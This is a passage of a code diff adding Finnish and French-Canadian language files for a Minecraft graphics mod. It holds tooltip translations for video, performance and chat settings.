+of.options.EMISSIVE_TEXTURES.tooltip.2= Pois - ei emissiivisiä tekstuureja (oletus) +of.options.EMISSIVE_TEXTURES.tooltip.3= Päällä - käytä emissiivisiä tekstuureja +of.options.EMISSIVE_TEXTURES.tooltip.4=Emissiiviset tekstuurit piirretään päätekstuuriin päällä, +of.options.EMISSIVE_TEXTURES.tooltip.5=täydellä kirkkaudella. Niitä voidaan käyttää simuloidaan +of.options.EMISSIVE_TEXTURES.tooltip.6=valoa tuottavia osia päätekstuurista. +of.options.EMISSIVE_TEXTURES.tooltip.7=Emissiiviset tekstuurit tarjoaa pitämäsi +of.options.EMISSIVE_TEXTURES.tooltip.8=resurssipaketti. + +of.options.CUSTOM_SKY=Mukautettu taivas +of.options.CUSTOM_SKY.tooltip.1=Mukautettu taivas +of.options.CUSTOM_SKY.tooltip.2= Päällä - mukautetut taivas tekstuurit (oletus), hidas +of.options.CUSTOM_SKY.tooltip.3= Pois - oletus taivas, nopeampi +of.options.CUSTOM_SKY.tooltip.4=Mukautetut taivas tekstuurit tarjoaa pitämäsi +of.options.CUSTOM_SKY.tooltip.5=resurssipaketti. + +of.options.CUSTOM_ITEMS=Mukautetut tavarat +of.options.CUSTOM_ITEMS.tooltip.1=Mukautetut tavarat +of.options.CUSTOM_ITEMS.tooltip.2= Päällä - mukautetut tavaratekstuurit (oletus), hidas +of.options.CUSTOM_ITEMS.tooltip.3= Pois - oletus tavaratekstuurit, nopeampi +of.options.CUSTOM_ITEMS.tooltip.4=Mukautetut tavaratekstuurit tarjoaa pitämäsi +of.options.CUSTOM_ITEMS.tooltip.5=resurssipaketti. + +of.options.CUSTOM_ENTITY_MODELS=Mukautetut olioiden mallit +of.options.CUSTOM_ENTITY_MODELS.tooltip.1=Mukautetut olioiden mallit +of.options.CUSTOM_ENTITY_MODELS.tooltip.2= Päällä - mukautetut olioiden mallit (oletus), hidas +of.options.CUSTOM_ENTITY_MODELS.tooltip.3= Pois - oletus olioiden mallit, nopeampi +of.options.CUSTOM_ENTITY_MODELS.tooltip.4=Mukautetut olioiden mallit tarjoaa pitämäsi +of.options.CUSTOM_ENTITY_MODELS.tooltip.5=resurssipaketti. + +of.options.CUSTOM_GUIS=Mukautetut GUI:t +of.options.CUSTOM_GUIS.tooltip.1=Mukautetut GUI:t +of.options.CUSTOM_GUIS.tooltip.2= Päällä - mukautetut GUI:t (oletus), hitaampi +of.options.CUSTOM_GUIS.tooltip.3= Pois - oletus GUI:t, nopeampi +of.options.CUSTOM_GUIS.tooltip.4=Mukautetut GUI:t tarjoaa pitämäsi resurssipaketti. + +# Yksityiskohdat + +of.options.CLOUDS=Pilvet +of.options.CLOUDS.tooltip.1=Pilvet +of.options.CLOUDS.tooltip.2= Oletus - grafiikka-asetuksen asettama +of.options.CLOUDS.tooltip.3= Nopea - matalampi laatu, nopeampi +of.options.CLOUDS.tooltip.4= Hieno - korkeampi laatu, hitaampi +of.options.CLOUDS.tooltip.5= Pois - no clouds, fastest +of.options.CLOUDS.tooltip.6=Nopeat pilvet piirretään 2d:nä. +of.options.CLOUDS.tooltip.7=Hienot pilvet piirretään 3d:nä. + +of.options.CLOUD_HEIGHT=Pilvien korkeus +of.options.CLOUD_HEIGHT.tooltip.1=Pilvien korkeus +of.options.CLOUD_HEIGHT.tooltip.2= Pois - oletus korkeus +of.options.CLOUD_HEIGHT.tooltip.3= 100%% - maailman rakennusrajan yläpuolella + +of.options.TREES=Puut +of.options.TREES.tooltip.1=Puut +of.options.TREES.tooltip.2= Oletus - grafiikka-asetuksen asettama +of.options.TREES.tooltip.3= Nopea - matalampi laatu, nopeampi +of.options.TREES.tooltip.4= Älykäs - korkeampi laatu, nopea +of.options.TREES.tooltip.5= Hieno - korkein laatu, hitaampi +of.options.TREES.tooltip.6=Nopeissa puissa on läpinäkymättömät lehdet. +of.options.TREES.tooltip.7=Hienoissa - ja älykkäissä puissa on läpinäkyvät lehdet. + +of.options.RAIN=Sade ja lumi +of.options.RAIN.tooltip.1=Sade ja lumi +of.options.RAIN.tooltip.2= Oletus - grafiikka-asetuksen asettama +of.options.RAIN.tooltip.3= Nopea - kevyt sade/lumi, nopeampi +of.options.RAIN.tooltip.4= Hieno - runsas sade/lumi, hitaampi +of.options.RAIN.tooltip.5= Pois - ei sadetta/lunta, nopein +of.options.RAIN.tooltip.6=Kun sade on pois päältä, sateen räiskyminen ja äänet +of.options.RAIN.tooltip.7=ovat edelleen päällä. + +of.options.SKY=Taivas +of.options.SKY.tooltip.1=Taivas +of.options.SKY.tooltip.2= Päällä - taivas on näkyvissä, hitaampi +of.options.SKY.tooltip.3= Pois - taivasta ei näy, nopeampi +of.options.SKY.tooltip.4=Kun taivas on pois päältä, kuu ja aurinko näkyy kuitenkin. + +of.options.STARS=Tähdet +of.options.STARS.tooltip.1=Tähdet +of.options.STARS.tooltip.2= Päällä - tähdet ovat näkyvissä, hitaampi +of.options.STARS.tooltip.3= Pois - tähtiä ei näy, nopeampi + +of.options.SUN_MOON=Aurinko ja kuu +of.options.SUN_MOON.tooltip.1=Aurinko ja kuu +of.options.SUN_MOON.tooltip.2= Päällä - aurinko ja kuu ovat näkyvissä (oletus) +of.options.SUN_MOON.tooltip.3= Pois - aurinkoa eikä kuuta näy (nopeampi) + +of.options.SHOW_CAPES=Näytä viitat +of.options.SHOW_CAPES.tooltip.1=Näytä viitat +of.options.SHOW_CAPES.tooltip.2= Päällä - näytä pelaajien viitat (oletus) +of.options.SHOW_CAPES.tooltip.3= Pois - älä näytä pelaajien viittoja + +of.options.TRANSLUCENT_BLOCKS=Läpikuultavat kuutiot +of.options.TRANSLUCENT_BLOCKS.tooltip.1=Läpikuultavat kuutiot +of.options.TRANSLUCENT_BLOCKS.tooltip.2= Oletus - grafiikka-asetuksen asettama +of.options.TRANSLUCENT_BLOCKS.tooltip.3= Hieno - oikea värien sekoitus (hitaampi) +of.options.TRANSLUCENT_BLOCKS.tooltip.4= Nopea - nopea värien sekoitus (nopeampi) +of.options.TRANSLUCENT_BLOCKS.tooltip.5=Hallitsee eri väristen (värjätty lasi, vesi, jää) läpikuultavien +of.options.TRANSLUCENT_BLOCKS.tooltip.6=kuutioden värien sekoitusta, kun ne on laitettu +of.options.TRANSLUCENT_BLOCKS.tooltip.7=toistensa taakse, kun niissä on ilmaa niiden välissä + +of.options.HELD_ITEM_TOOLTIPS=Pidetyn tavaran vinkit +of.options.HELD_ITEM_TOOLTIPS.tooltip.1=Pidetyn tavaran vinkit +of.options.HELD_ITEM_TOOLTIPS.tooltip.2= Päällä - näytä tavaravinkit pidetyille tavaroille (oletus) +of.options.HELD_ITEM_TOOLTIPS.tooltip.3= Pois - älä näytä tavaravinkkejä pidetyille tavaroille + +of.options.ADVANCED_TOOLTIPS=Edistyneet vinkit +of.options.ADVANCED_TOOLTIPS.tooltip.1=Edistyneet vinkit +of.options.ADVANCED_TOOLTIPS.tooltip.2= Päällä - näytä edistyneet vinkit +of.options.ADVANCED_TOOLTIPS.tooltip.3= Pois - älä näytä edistyneitä vikkejä (oletus) +of.options.ADVANCED_TOOLTIPS.tooltip.4=Advanced tooltips show extended information for Edistyneet vinkit +of.options.ADVANCED_TOOLTIPS.tooltip.5=näyttämät lisää tietoja tavaroille (tunniste, kestävyys) ja +of.options.ADVANCED_TOOLTIPS.tooltip.6=shader-asetuksille (tunniste, lähde, oletus luku). + +of.options.DROPPED_ITEMS=Pudotetut esineet +of.options.DROPPED_ITEMS.tooltip.1=Pudotetut esineet +of.options.DROPPED_ITEMS.tooltip.2= Oletus - grafiikka-asetuksen asettama +of.options.DROPPED_ITEMS.tooltip.3= Nopea - 2d pudotetut esineet (nopeampi) +of.options.DROPPED_ITEMS.tooltip.4= Hieno - 3d pudotetut esineet (hitaampi) + +options.entityShadows.tooltip.1=Olioden varjot +options.entityShadows.tooltip.2= Päällä - näytä olioiden varjot +options.entityShadows.tooltip.3= Pois - älä näytä olioiden varjoja + +of.options.VIGNETTE=Vinjetti +of.options.VIGNETTE.tooltip.1=Visuaalinenefekti joka tummentaa näytön reunoja hieman +of.options.VIGNETTE.tooltip.2= Oletus - grafiikka-asetuksen asettama (oletus) +of.options.VIGNETTE.tooltip.3= Nopea - vinjetti pois päältä (nopeampi) +of.options.VIGNETTE.tooltip.4= Fancy - vinjetti päällä (hitaampi) +of.options.VIGNETTE.tooltip.5=Vinjetillä voi olla huomattava vaikutus kuvataajuuten, +of.options.VIGNETTE.tooltip.6=varsinkin jos peli on kokoruudulla. +of.options.VIGNETTE.tooltip.7=Vinjettiefekti on todella hienovarainen ja sen +of.options.VIGNETTE.tooltip.8=voi turvallisesti ottaa pois käytöstä. + +of.options.DYNAMIC_FOV=Dynaaminen näkökenttä +of.options.DYNAMIC_FOV.tooltip.1=Dynaaminen näkökenttä +of.options.DYNAMIC_FOV.tooltip.2= Päällä - ota dynaaminen näkökenttä käyttöön (oletus) +of.options.DYNAMIC_FOV.tooltip.3= Pois - ota dynaaminen näkökenttä pois käytöstä +of.options.DYNAMIC_FOV.tooltip.4=Vaihtaa näkökenttää kun lennät, juokset tai +of.options.DYNAMIC_FOV.tooltip.5=venytät jousta. + +of.options.DYNAMIC_LIGHTS=Dynaamiset valot +of.options.DYNAMIC_LIGHTS.tooltip.1=Dynaamiset valot +of.options.DYNAMIC_LIGHTS.tooltip.2= Pois - ei dynaamisia valoja (oletus) +of.options.DYNAMIC_LIGHTS.tooltip.3= Nopea - nopeat dynaamiset valot (päivitetään joka 500ms) +of.options.DYNAMIC_LIGHTS.tooltip.4= Hieno - hienot dynaamiset valot (päivitetään reaaliajassa) +of.options.DYNAMIC_LIGHTS.tooltip.5=Mahdollistaa valoa tuottavien esineiden (soihtu, hehkukivi, jne.), +of.options.DYNAMIC_LIGHTS.tooltip.6=valaista lähiympäristö kun niitä pidetään +of.options.DYNAMIC_LIGHTS.tooltip.7=kädessä, tai kun ne ovat pudotettuina maahan. + +options.biomeBlendRadius.tooltip.1=Pehmentää värisiirtymää biomien välissä +options.biomeBlendRadius.tooltip.2= Pois - ei sekoitusta (nopein) +options.biomeBlendRadius.tooltip.3= 5x5 - oletus sekoitus (oletus) +options.biomeBlendRadius.tooltip.4= 15x15 - maksimi sekoitus (hitain) +options.biomeBlendRadius.tooltip.5=Korkeat luvut saattavat generoida huomattavia lagipiikkejä +options.biomeBlendRadius.tooltip.6=ja hidastaa lohkojen latausnopeutta. + +# Suorituskyky + +of.options.SMOOTH_FPS=Tasainen kuvataajuus +of.options.SMOOTH_FPS.tooltip.1=Tasoittaa kuvatajuutta huuhtelemalla näytönohjainpuskureita. +of.options.SMOOTH_FPS.tooltip.2= Pois - ei tasoitusta, kuvataajuus saattaa heitellä +of.options.SMOOTH_FPS.tooltip.3= Päällä - kuvataajuuden tasoitus +of.options.SMOOTH_FPS.tooltip.4=Tämä asetus riippuu näytönohjaimesta ja sen vaikutus +of.options.SMOOTH_FPS.tooltip.5=ei ole aina huomattavissa. + +of.options.SMOOTH_WORLD=Tasainen maailma +of.options.SMOOTH_WORLD.tooltip.1=Poistaa sisäisen palvelimen aihettamia lagipiikkejä. +of.options.SMOOTH_WORLD.tooltip.2= Pois - ei tasoitusta, kuvataajuus saattaa heitellä +of.options.SMOOTH_WORLD.tooltip.3= Päällä - kuvataajuuden tasoitus +of.options.SMOOTH_WORLD.tooltip.4=Tasoittaa kuvataajuutta jakamalla sisäisen palvelimen latausta. +of.options.SMOOTH_WORLD.tooltip.5=Toimii vain paikallisissa maailmoissa (yksinpeli). + +of.options.FAST_RENDER=Nopea piirto +of.options.FAST_RENDER.tooltip.1=Nopea piirto +of.options.FAST_RENDER.tooltip.2= Pois - normi piirto (oletus) +of.options.FAST_RENDER.tooltip.3= Päällä - optimoitu piirto (nopeampi) +of.options.FAST_RENDER.tooltip.4=Käyttää optimoituja piirto algoritmejä, jotka vähentävät +of.options.FAST_RENDER.tooltip.5=suorittimen käyttöä ja voivat huomattavasti nostaa kuvataajuutta. +of.options.FAST_RENDER.tooltip.6=Tämä asetus ei välttämättä ole yhteensopiva modien kanssa. + +of.options.FAST_MATH=Nopea matikka +of.options.FAST_MATH.tooltip.1=Nopea matikka +of.options.FAST_MATH.tooltip.2= Pois - normi matikka (oletus) +of.options.FAST_MATH.tooltip.3= Päällä - nopeampi matikka +of.options.FAST_MATH.tooltip.4=Käyttää optimoituja sin() ja cos() funktioita, jotka voi +of.options.FAST_MATH.tooltip.5=paremmin käyttää prosessorin välimuistia ja nostaa kuvataajuutta. +of.options.FAST_MATH.tooltip.6=Tämä asetus voi vaikuttaa maailman generoitumiseen minimaalisesti. + +of.options.CHUNK_UPDATES=Lohkojen päivitykset +of.options.CHUNK_UPDATES.tooltip.1=Lohkojen päivitykset +of.options.CHUNK_UPDATES.tooltip.2= 1 - hitaampi maailman lataaminen, korkeampi kuvataajuus (oletus) +of.options.CHUNK_UPDATES.tooltip.3= 3 - nopeampi maalman lataaminen, matalampi kuvataajuus +of.options.CHUNK_UPDATES.tooltip.4= 5 - nopein maailman lataaminen, matalin kuvataajuus +of.options.CHUNK_UPDATES.tooltip.5=Lohkon päivitysten määrä per piirretty kuva, +of.options.CHUNK_UPDATES.tooltip.6=suuremmat luvut voivat epätasapainoittaa kuvataajuutta. + +of.options.CHUNK_UPDATES_DYNAMIC=Dynaamiset lohkojen päivitykset +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=Dynaamiset lohkojen päivitykset +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2= Pois - normi määrä lohkojen päivityksiä per kuva (oletus) +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3= Päällä - enemmän lohkojen päivityksiä kun pelaaja on paikallaan +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4=Dynaamiset lohkojen päivitykset -asetus pakottaa enemmän lohkojen päivityksiä +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=kun pelaaja seisoo paikallaan ladakseen maailmaa nopeammin. + +of.options.LAZY_CHUNK_LOADING=Laiska lohkojen lataaminen +of.options.LAZY_CHUNK_LOADING.tooltip.1=Laiska lohkojen lataaminen +of.options.LAZY_CHUNK_LOADING.tooltip.2= Pois - oletus palvelimen lohkojen lataus +of.options.LAZY_CHUNK_LOADING.tooltip.3= Päällä - laiska palvelimen lohkojen lataus (pehmeämpi) +of.options.LAZY_CHUNK_LOADING.tooltip.4=Pehmentää integroidun palvelimen lohkojen lataamista, +of.options.LAZY_CHUNK_LOADING.tooltip.5=jakamalla lohkot useammalle kuvalle. +of.options.LAZY_CHUNK_LOADING.tooltip.6=Laita tämä pois päältä jos osat maailmastasi eivät lataa. +of.options.LAZY_CHUNK_LOADING.tooltip.7=Toimii vain paikallisissa maailmoissa (yksinpeli). + +of.options.RENDER_REGIONS=Piirrä alueet +of.options.RENDER_REGIONS.tooltip.1=Piirrä alueet +of.options.RENDER_REGIONS.tooltip.2= Pois - normaali minecraft -piirto (oletus) +of.options.RENDER_REGIONS.tooltip.3= Päällä - käytä piirrä alueet -asetusta (nopeampi) +of.options.RENDER_REGIONS.tooltip.4=Mahdollistaa nopeamman maaston piirron, optimoimalla +of.options.RENDER_REGIONS.tooltip.5=näytönohjaimen käyttöä. Tehokkaampi suurilla näköetäisyyksillä. +of.options.RENDER_REGIONS.tooltip.6=Ei suositeltu integroiduille näytönohjaimille. + +of.options.SMART_ANIMATIONS=Älykkäät animaatiot +of.options.SMART_ANIMATIONS.tooltip.1=Älykkäät animaatiot +of.options.SMART_ANIMATIONS.tooltip.2= Pois - älä käytä älykkäitä animaatioita (oletus) +of.options.SMART_ANIMATIONS.tooltip.3= Päällä - käytä älykkäitä animaatioita (nopeampi) +of.options.SMART_ANIMATIONS.tooltip.4=Älykkäillä animaatioilla peli animoi vain ne +of.options.SMART_ANIMATIONS.tooltip.5=tekstuurit jota on näkyvissä ruudulla. +of.options.SMART_ANIMATIONS.tooltip.6=Tämä pienentää lagipiikkejä ja suurentaa kuvataajuutta. +of.options.SMART_ANIMATIONS.tooltip.7=Todella hyödyllinen isoille modipaketeille ja hd-resurssipaketeille. + +# Animaatiot + +of.options.animation.allOn=Kaikki päälle +of.options.animation.allOff=Kaikki pois +of.options.animation.dynamic=Dynaaminen + +of.options.ANIMATED_WATER=Animoitu vesi +of.options.ANIMATED_LAVA=Animoitu laava +of.options.ANIMATED_FIRE=Animoitu tuli +of.options.ANIMATED_PORTAL=Animoitu portaali +of.options.ANIMATED_REDSTONE=Animoitu redstone +of.options.ANIMATED_EXPLOSION=Animoidut räjähdykset +of.options.ANIMATED_FLAME=Animoitu liekki +of.options.ANIMATED_SMOKE=Animoitu savu +of.options.VOID_PARTICLES=Tyhjyyden partikkelit +of.options.WATER_PARTICLES=Veden partikkelit +of.options.RAIN_SPLASH=Sateen räiskyminen +of.options.PORTAL_PARTICLES=Portaalin partikkelit +of.options.POTION_PARTICLES=Taikajuoma partikkelit +of.options.DRIPPING_WATER_LAVA=Tippuva vesi/laava +of.options.ANIMATED_TERRAIN=Animoitu maasto +of.options.ANIMATED_TEXTURES=Animoidut tekstuurit +of.options.FIREWORK_PARTICLES=Ilotulitteiden partikkelit + +# Muut + +of.options.LAGOMETER=Lagimittari +of.options.LAGOMETER.tooltip.1=Näyttää lagimittarin virheenkorjausruudussa (F3). +of.options.LAGOMETER.tooltip.2=* Oranssi - Muistin roskankeräys +of.options.LAGOMETER.tooltip.3=* Syaani - Hetki +of.options.LAGOMETER.tooltip.4=* Sininen - Ajoitetut suoritettavat tiedostot +of.options.LAGOMETER.tooltip.5=* Purppura - Lohkojen lataukset +of.options.LAGOMETER.tooltip.6=* Punainen - Lohkopäivitykset +of.options.LAGOMETER.tooltip.7=* Keltainen - Näkyvyyden tarkistus +of.options.LAGOMETER.tooltip.8=* Vihreä - Maaston piirto + +of.options.PROFILER=Virheenkorjaus profiloija +of.options.PROFILER.tooltip.1=Virheenkorjaus profiloija +of.options.PROFILER.tooltip.2= Päällä - virheenkorjaus profiloija on päällä, hitaampi +of.options.PROFILER.tooltip.3= Pois - virheenkorjaus profiloija ei ole päällä, nopeampi +of.options.PROFILER.tooltip.4=Virheenkorjaus profiloija kerää näyttää tietoja kun +of.options.PROFILER.tooltip.5=virheenkorjausruutu on auki (F3). + +of.options.WEATHER=Sää +of.options.WEATHER.tooltip.1=Sää +of.options.WEATHER.tooltip.2= Päällä - sää on päällä, hitaampi +of.options.WEATHER.tooltip.3= Pois - sää on pois päältä, nopeampi +of.options.WEATHER.tooltip.4=Sääasetus hallitsee sadetta, lumisadetta ja ukkosmyrskyjä. +of.options.WEATHER.tooltip.5=Sään hallitseminen on mahdollista vain paikallisissa maailmoissa. + +of.options.time.dayOnly=Vain päivä +of.options.time.nightOnly=Vain yö + +of.options.TIME=Aika +of.options.TIME.tooltip.1=Aika +of.options.TIME.tooltip.2= Oletus - normaali päivä/yö ajanjakso +of.options.TIME.tooltip.3= Vain päivä - vain päivä +of.options.TIME.tooltip.4= Vain yö - vain yö +of.options.TIME.tooltip.5=Aika asetus vaikuttaa vain LUOVASSATILASSA ja +of.options.TIME.tooltip.6=paikallisissa maailmoissa + +options.fullscreen.tooltip.1=Kokonäyttö +options.fullscreen.tooltip.2= Päällä - käytä kokonäyttötilaa +options.fullscreen.tooltip.3= Pois - käytä ikkunatilaa +options.fullscreen.tooltip.4=Kokoruututila Voi olla nopeampi tai hitaampi, +options.fullscreen.tooltip.5=kuin ikkunatila, riippuen näytönohjaimesta. + +options.fullscreen.resolution=Kokonäytön tila +options.fullscreen.resolution.tooltip.1=Kokonäytön tila +options.fullscreen.resolution.tooltip.2= Oletus - käytä työpöydän kuvatarkkuutta, hitaampi +options.fullscreen.resolution.tooltip.3= LxK - käytä mukautettua kuvatarkkuutta, voi olla nopeampi +options.fullscreen.resolution.tooltip.4=Valittua kuvatarkkuutta käytetään kokonäytön tilassa (F11). +options.fullscreen.resolution.tooltip.5=Matalammat kuvatarkkuudet ovat yleensä nopeampia. + +of.options.SHOW_FPS=Näytä kuvataajuus +of.options.SHOW_FPS.tooltip.1=Näyttää kompaktin kuvataajuuden ja piirtotietoja. +of.options.SHOW_FPS.tooltip.2= Fps - keskiverto/minimi kuvataajuus +of.options.SHOW_FPS.tooltip.3= C: - lohkojen piirtoja +of.options.SHOW_FPS.tooltip.4= E: - piirretyt oliot ja kuutioentiteetit +of.options.SHOW_FPS.tooltip.5= U: - lohkopäivitykset +of.options.SHOW_FPS.tooltip.6=Kompaktit kuvataajuustiedot näytetään vain kun virheenkorjausruutu +of.options.SHOW_FPS.tooltip.7=ei ole näkyvissä. + +of.options.save.45s=45s +of.options.save.90s=90s +of.options.save.3min=3min +of.options.save.6min=6min +of.options.save.12min=12min +of.options.save.24min=24min + +of.options.AUTOSAVE_TICKS=Automaattinen tallennus +of.options.AUTOSAVE_TICKS.tooltip.1=Automaattisen tallennuksen aikaväli +of.options.AUTOSAVE_TICKS.tooltip.2= 45s - oletus +of.options.AUTOSAVE_TICKS.tooltip.3=Automaattinen tallennuksen saattaa aiheuttaa lagipiikkejä, riippuen näköetäisyydestä. +of.options.AUTOSAVE_TICKS.tooltip.4=Maailma tallennetaan myös kun pelivalikko avataan. + +of.options.SCREENSHOT_SIZE=Kuvankaappauksen koko +of.options.SCREENSHOT_SIZE.tooltip.1=Kuvankaappauksen koko +of.options.SCREENSHOT_SIZE.tooltip.2= Oletus - oletus kuvakaappauskoko +of.options.SCREENSHOT_SIZE.tooltip.3= 2x-4x - mukautettu kuvakaappauskoko +of.options.SCREENSHOT_SIZE.tooltip.4=Suurempien kuvankaappausten ottaminen voi vaatia enemmän muistia. +of.options.SCREENSHOT_SIZE.tooltip.5=Ei ole yhteensopiva reunanpehmennyksen kanssa. +of.options.SCREENSHOT_SIZE.tooltip.6=Vaatii näytönohjaimen ruutupuskuri tuen. + +of.options.SHOW_GL_ERRORS=Näytä GL-virheet +of.options.SHOW_GL_ERRORS.tooltip.1=Näytä OpenGL-virheet +of.options.SHOW_GL_ERRORS.tooltip.2=Kun päällä, OpenGL-virheen näytetään keskustelussa. +of.options.SHOW_GL_ERRORS.tooltip.3=Ota tämä pois käytöstä vain, jos tiedät mikä aiheuttaa virheen, +of.options.SHOW_GL_ERRORS.tooltip.4=eikä sitä voi korjata. +of.options.SHOW_GL_ERRORS.tooltip.5=Jos otettuna pois, virheet kirjataan kuitenkin virhelokiin, +of.options.SHOW_GL_ERRORS.tooltip.6=joka voi aihettaa huomattavia kuvataajuuspudotuksia. + +# Keskusteluasetukset + +of.options.CHAT_BACKGROUND=Keskustelun tausta +of.options.CHAT_BACKGROUND.tooltip.1=Keskustelun tausta +of.options.CHAT_BACKGROUND.tooltip.2= Oletus - muuttumaton leveys +of.options.CHAT_BACKGROUND.tooltip.3= Kompakti - sopii rivin leveyteen +of.options.CHAT_BACKGROUND.tooltip.4= Pois - piilotettu + +of.options.CHAT_SHADOW=Keskustelun varjo +of.options.CHAT_SHADOW.tooltip.1=Keskustelun varjo +of.options.CHAT_SHADOW.tooltip.2= Päällä - käytä tekstin varjoa +of.options.CHAT_SHADOW.tooltip.3= Pois - ei tekstin varjoa diff --git a/src/assets/minecraft/optifine/lang/fr_ca.lang b/src/assets/minecraft/optifine/lang/fr_ca.lang new file mode 100644 index 00000000..ee5239af --- /dev/null +++ b/src/assets/minecraft/optifine/lang/fr_ca.lang @@ -0,0 +1,593 @@ +#Traduit en français par Z0ul0u25 + +# General +of.general.ambiguous=Ambigue +of.general.custom=Personnalisé +of.general.from=De +of.general.id=ID +of.general.restart=Redémarer +of.general.smart=Intelligent + +# Keys +of.key.zoom=Zoom + +# Message +of.message.aa.shaders1=L'Anticrénelage n'est pas compatible avec les Shaders. +of.message.aa.shaders2=Veuillez désactivez les Shaders pour activer cette option. + +of.message.af.shaders1=Le Filtrage Anisotropique n'est pas compatible avec les Shaders. +of.message.af.shaders2=Veuillez désactivez les Shaders pour activer cette option. + +of.message.fr.shaders1=Le Rendu Rapide n'est pas compatible avec les Shaders. +of.message.fr.shaders2=Veuillez désactivez les Shaders pour activer cette option. + +of.message.an.shaders1=L'Anaglyphe 3D n'est pas compatible avec les Shaders. +of.message.an.shaders2=Veuillez désactivez les Shaders pour activer cette option. + +of.message.shaders.aa1=Les Shaders ne sont pas compatible avec l'Anticrénelage. +of.message.shaders.aa2=Veuillez fixé Qualité -> Anticrénelage à OFF puis redémarrer le jeu. + +of.message.shaders.af1=Les Shaders ne sont pas compatible avec le Filtrage Anisotropique. +of.message.shaders.af2=Veuillez fixé Qualité -> Filtrage Anisotropique à OFF. + +of.message.shaders.fr1=Les Shaders ne sont pas compatible avec le Rendu Rapide. +of.message.shaders.fr2=Veuillez fixé Performance -> Rendu Rapide à OFF. + +of.message.shaders.an1=Les Shaders ne sont pas compatible avec l'Anaglyphe 3D. +of.message.shaders.an2=Veuillez configurer Autre -> Anaglyphe 3D à OFF. + +of.message.newVersion=Une nouvelle version d'§eOptiFine§f est disponible: §e%s§f +of.message.java64Bit=Pour de meilleure performance, installer une version §e64-bit de Java§f +of.message.openglError=§eErreur OpenGL§f: %s (%s) + +of.message.shaders.loading=Chargement des Shaders: %s + +of.message.other.reset=Réinitialiser tous les réglages vidéos à leurs valeurs par défaut? + +of.message.loadingVisibleChunks=Chargement des Chunks visible + +# Video settings + +options.graphics.tooltip.1=Qualité visuel +options.graphics.tooltip.2= Rapide - Basse qualité (Rapide) +options.graphics.tooltip.3= Détaillée - Haute qualité (Lent) +options.graphics.tooltip.4=Change l'apparence des nuages, des feuilles, +options.graphics.tooltip.5=de l'eau, des ombres et du côté de l'herbe. + +of.options.renderDistance.tiny=Mini +of.options.renderDistance.short=Courte +of.options.renderDistance.normal=Normale +of.options.renderDistance.far=Loin +of.options.renderDistance.extreme=Extrême + +options.renderDistance.tooltip.1=Distance de Rendu +options.renderDistance.tooltip.2= 2 Mini - 32m (Très rapide) +options.renderDistance.tooltip.3= 4 courte - 64m (Rapide) +options.renderDistance.tooltip.4= 8 Normale - 128m +options.renderDistance.tooltip.5= 16 Loin - 256m (Lent) +options.renderDistance.tooltip.6= 32 Extrême - 512m (Très lent) +options.renderDistance.tooltip.7=La distance de rendu Extrême est très gourmande en ressources! +options.renderDistance.tooltip.8=Les valeurs au-dessus de 16 n'ont effet qu'en solo. + +options.ao.tooltip.1=Luminosité adoucie +options.ao.tooltip.2= OFF - aucun adoucissement (rapide) +options.ao.tooltip.3= Minimum - Adoucissement simple (Lent) +options.ao.tooltip.4= Maximum - Adoucissement complexe (Très lent) + +options.framerateLimit.tooltip.1=FPS Max +options.framerateLimit.tooltip.2= VSync - limite du moniteur (60, 30, 20) +options.framerateLimit.tooltip.3= 5-255 - variable +options.framerateLimit.tooltip.4= Illimitée - sans limite (Très rapide) +options.framerateLimit.tooltip.5=La limite de FPS diminue le taux d'image par seconde +options.framerateLimit.tooltip.6=même si la valeur limite n'est pas atteinte. +of.options.framerateLimit.vsync=VSync + +of.options.AO_LEVEL=Ombres adoucies +of.options.AO_LEVEL.tooltip.1=Ombres adoucies +of.options.AO_LEVEL.tooltip.2= OFF - aucune ombre +of.options.AO_LEVEL.tooltip.3= 50%% - légères ombres +of.options.AO_LEVEL.tooltip.4= 100%% - fortes ombres + +options.viewBobbing.tooltip.1=Mouvements plus réalistes. +options.viewBobbing.tooltip.2=Lors de l'utilisation du mipmaps, configurer à OFF pour de meilleurs résultats. + +options.guiScale.tooltip.1=Taille du GUI +options.guiScale.tooltip.2= Auto - taille maximale +options.guiScale.tooltip.3= Petite, Normale, Grande - 1x à 3x +options.guiScale.tooltip.4= 4x à 10x - Disponible pour moniteur 4K +options.guiScale.tooltip.5=Les valeurs impaires (1x, 3x, 5x ...) ne sont pas compatible avec l'Unicode. +options.guiScale.tooltip.2=Un GUI petit serai plus rapide + +options.vbo=Utiliser les VBO +options.vbo.tooltip.1=Objets de Mémoire Tampon +options.vbo.tooltip.2=Utilises des modèles de rendu qui sont habituellement +options.vbo.tooltip.3=plus rapides (5-10%%) que le rendu par défaut. + +options.gamma.tooltip.1=Change la luminosité des endroits sombres +options.gamma.tooltip.2= Sombre - luminosité standard +options.gamma.tooltip.3= 1-99%% - variable +options.gamma.tooltip.4= Lumineux - luminosité maximale pour les objets sombres +options.gamma.tooltip.5=Cette option ne change pas la luminosité des +options.gamma.tooltip.6=objets complètement noirs + +options.anaglyph.tooltip.1=Anaglyphe 3D +options.anaglyph.tooltip.2=Active un effet stéréoscopique 3D utilisant différentes couleurs +options.anaglyph.tooltip.3=pour chaque Å“il. +options.anaglyph.tooltip.4=Nécessite des lunettes rouge-cyan pour une vue adéquate. + +of.options.ALTERNATE_BLOCKS=Blocs Alternatif +of.options.ALTERNATE_BLOCKS.tooltip.1=Alterne les Blocs +of.options.ALTERNATE_BLOCKS.tooltip.2=Utilises des modèles alternatifs pour certains blocs. +of.options.ALTERNATE_BLOCKS.tooltip.3=Dépend du pack de ressources sélectionné. + +of.options.FOG_FANCY=Brouillard +of.options.FOG_FANCY.tooltip.1=Type de Brouillard +of.options.FOG_FANCY.tooltip.2= Rapide - brouillard rapide +of.options.FOG_FANCY.tooltip.3= Détaillé - meilleure apparence (Plus lent) +of.options.FOG_FANCY.tooltip.4= OFF - Aucun Brouillard (très rapide) +of.options.FOG_FANCY.tooltip.5=Le brouillard détaillé n'est disponible que +of.options.FOG_FANCY.tooltip.6=si la carte graphique peut le supporter. + +of.options.FOG_START=Commencement de Brouillard +of.options.FOG_START.tooltip.1=Commencement de Brouillard +of.options.FOG_START.tooltip.2= 0.2 - commence proche du joueur +of.options.FOG_START.tooltip.3= 0.8 - commence loin du joueur +of.options.FOG_START.tooltip.4=Cette option n'affecte généralement pas les performances. + +of.options.CHUNK_LOADING=Chargement des Chunks 